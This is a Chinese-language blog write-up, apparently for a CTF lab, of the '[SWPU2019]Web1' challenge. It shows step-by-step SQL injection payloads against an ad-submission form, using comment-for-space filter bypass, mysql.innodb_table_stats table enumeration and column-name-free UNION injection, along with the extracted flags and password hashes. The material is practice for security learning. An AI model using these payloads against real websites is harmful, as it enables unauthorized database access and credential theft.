flag{b43953db-f509-406d-b1bc-8e9aa24aa04c}

[SWPU2019]Web1

BUU
感觉像是 sql 注入,/details?id= 不能注,试了试 /addads.php 的广告标题可以注入

m60rv12o.png

输入 or and 之类的显示标题含有敏感词汇,空格被删掉了,用 /**/ 替换

尝试

title='/**/union/**/select/**/1,2' # different number of columns
# 试到 5 绷不住了,自动化测试吧,python 生成一串,放到 yakit 字典里
# 结果最多10条广告,🌿
# 不管怎样,试出来有 22 列,2和3有回显
title='/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22' # 爆库 web1
title='/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22' # 爆表,or 被过滤,所以 information_schema 没法用了,用mysql.innodb_table_stats
# FLAG_TABLE,news,users,gtid_slave_pos,ads,users
# 查不了字段,只能无列名注入了
# FLAG_TABLE不在这个库,那 flag 应该是在 users 里
title='/**/union/**/select/**/1,(select/**/group_concat(`1`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)/**/u),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
# 1,1,2,3
title='/**/union/**/select/**/1,(select/**/group_concat(`2`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)/**/u),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
# 2,flag,admin,root
title='/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)/**/u),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
# 3,flag{ea840a7b-a28f-4724-a71c-d4f3232f9068},53e217ad4c721eb9565cf25a5ec3b66e,202cb962ac59075b964b07152d234b70

m60tdx0i.png

flag{ea840a7b-a28f-4724-a71c-d4f3232f9068}
0

—— 评论区 ——

昵称
邮箱
网址
取消
博主栏壁纸
博主头像 Mingzu

薪心相印,相由薪生

4 文章数
0 标签数
0 评论量
人生倒计时